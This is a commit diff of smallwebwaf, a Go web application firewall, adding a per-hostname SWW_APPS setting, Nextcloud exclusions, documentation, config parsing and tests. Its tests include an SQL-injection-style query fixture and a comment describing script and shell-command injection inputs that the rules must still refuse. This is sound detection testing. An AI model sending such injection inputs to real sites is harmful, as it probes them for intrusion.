| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings.
@@ -581,24 +582,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the
rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in thirteen ways so that ordinary
requests get through to the apps listed below. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded
ordinary requests pass the Core Rule Set:
- gitea: git over HTTP and sign-in through Git Credential Manager get
through. On gitea's own paths, its searches, file names and branch names
do too.
- WordPress: saving a post from the block editor gets through. On
WordPress's own paths, its searches, names and file names do too.
- Drupal: on Drupal's own paths, the page to return to, its searches and its
names get through.
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
wikitext get through.
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
posts and deliveries from other servers get through.
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
addresses and encrypted file names get through.
- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in
[`SPEC.md`](SPEC.md) lists them.
- Each supported app also has its own fixes, which let its ordinary requests
through. Its recorded ordinary requests pass the Core Rule Set at the default
settings. The supported apps, by their names in `SWW_APPS`, are:
- `gitea`, whose fixes let its searches, file names and branch names
through;
- `wordpress`, whose fixes let through its searches, its names, its file
names and a post saved from the block editor;
- `drupal`, whose fixes let through the page to return to, its searches and
its names;
- `mediawiki`, whose fixes let through its searches, its page titles, its
names and its wikitext;
- `mastodon`, whose fixes let through its searches, its names, its email
addresses, its posts and deliveries from other servers;
- `vaultwarden`, whose fixes let through its names, its password hints, its
email addresses and its encrypted file names;
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes, and a hostname it does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again
+536 -429
View File
File diff suppressed because it is too large. Load diff
+25
View File
@@ -255,6 +255,31 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in
full. Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+92 -1
View File
@@ -29,6 +29,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog"
)
@@ -235,6 +236,11 @@ type Config struct {
WAFExemptPaths []string
WAFBodyLimit int64
CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
@@ -404,6 +410,11 @@ var (
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php",
)
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
@@ -577,6 +588,7 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -832,6 +844,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
@@ -1849,6 +1880,65 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil
}
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
@@ -2455,7 +2545,8 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest
}
// isZone reports whether each label of zone is as parseZones takes it.
// isZone reports whether each label of zone is as parseZones takes it. It
// also checks the hostnames of SWW_APPS, which are DNS names too.
func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool {
+97
View File
@@ -89,6 +89,7 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -582,6 +583,101 @@ func TestCoreRuleSetSettings(t *testing.T) {
}
}
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,jellyfin",
`"jellyfin" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
`vaultwarden, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel()
@@ -2589,6 +2685,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "",
wafBodyLimit: off,
exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
+117 -100
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the thirteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// in SPEC.md describes them. It reads no response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,6 +16,8 @@ import (
"errors"
"fmt"
"io"
"maps"
"net"
"net/http"
"net/netip"
"os"
@@ -32,11 +34,8 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, and vaultwardenExclusions for the
// eighth.
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
// directives of every app in apps for the third.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -84,59 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too.
%s
# The eighth change comes before the rules for the same reason.
# The apps' fixes come before the rules for the same reason.
%s
# The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# And the thirteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# The fifth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
# localhost. Coraza matches a parameter name here without regard to case.
# ARGS holds the fields of a form data or multipart body Coraza reads as
# well as the query parameters, so a field of this name is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
# The fourth: Referer is not checked for a Unix command without arguments,
# for Java starting a process, or for a Java class name. 944130 refused
# every page opened from the page of java.lang.String.md.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# The sixth: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
@@ -186,53 +154,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
// app is an app whose ordinary requests the Core Rule Set would refuse,
// with the fixes that let them pass.
type app struct {
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf
var giteaExclusions string
var giteaDirectives string
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf
var wordpressExclusions string
var wordpressDirectives string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
var drupalDirectives string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
var mediawikiDirectives string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
var mastodonDirectives string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
var vaultwardenDirectives string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//go:embed nextcloud.conf
var nextcloudDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
//nolint:gochecknoglobals // a constant cannot be a map
var apps = map[string]app{
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in
// alphabetical order.
func AppNames() []string {
return slices.Sorted(maps.Keys(apps))
}
// Params are what New needs.
type Params struct {
@@ -248,6 +224,10 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
}
// The ids of sww's own rules, which an exclusions file may not
@@ -339,13 +319,15 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
apps map[string][]string
}
// New returns the Core Rule Set with the thirteen changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
// cannot be read or does not parse, or if checkExclusions refuses it.
// New returns the Core Rule Set with the six changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
@@ -368,9 +350,13 @@ func New(params Params) (*CoreRuleSet, error) {
}
}
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions)
fixes.String())
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
@@ -388,7 +374,9 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
return &CoreRuleSet{
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
}
// Result is what the Core Rule Set found in a request.
@@ -400,11 +388,12 @@ type Result struct {
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, and the error that ended the reading early, if one did.
// Inspect runs the Core Rule Set on r, a request from client, with the
// fixes of the apps appsFor names for r's hostname: on its method, its URL
// with the query, and its headers, the Cookie header without those apps'
// cookies, and on body, r's body as the caller has it, as readBody reads
// it. It returns what it found, what it read of body, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
@@ -412,13 +401,24 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
value = withoutCookies(value, cookiesNotRead)
if value == "" {
continue // it held those cookies alone
}
@@ -511,9 +511,26 @@ func score(tx types.Transaction) int {
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
// appsFor returns the names of the apps whose fixes a request for host,
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
// those SWW_APPS lists for host's name, without the port and in
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
+177 -20
View File
@@ -36,12 +36,14 @@ var loaded = struct {
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for.
// once, making it the first time params are asked for. %#v writes a nil
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock()
defer loaded.Unlock()
settings := fmt.Sprintf("%+v", params)
settings := fmt.Sprintf("%#v", params)
load, found := loaded.loaders[settings]
if !found {
@@ -155,9 +157,10 @@ func inspectBody(
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
// Go's server keeps Host and Transfer-Encoding out of the headers,
// whatever their case.
name, value, _ := strings.Cut(header, ": ")
switch name {
switch http.CanonicalHeaderKey(name) {
case "Host":
req.Host = value
case "Transfer-Encoding":
@@ -202,8 +205,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
}
// wantChange checks that crs lets through passes, a request one of the
// thirteen changes is for, and still finds result in refused, a request like
// it that the change is not for.
// six changes or an app's fixes are for, and still finds result in
// refused, a request like it that they are not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
@@ -464,6 +467,127 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160))
}
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// recordedHost is the hostname the recorded requests of Drupal, MediaWiki,
// Mastodon, Vaultwarden and Nextcloud were sent to.
const recordedHost = "example.com"
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
@@ -605,13 +729,19 @@ func giteaRequests(t *testing.T) []request {
return requests
}
// An SQL injection and a script injection, as a query value. Every app's
// tests check that its fields still refuse them.
// An SQL injection, a script injection and a shell command after a ";", as
// query values. Every app's tests check that its fields still refuse the
// first two.
const (
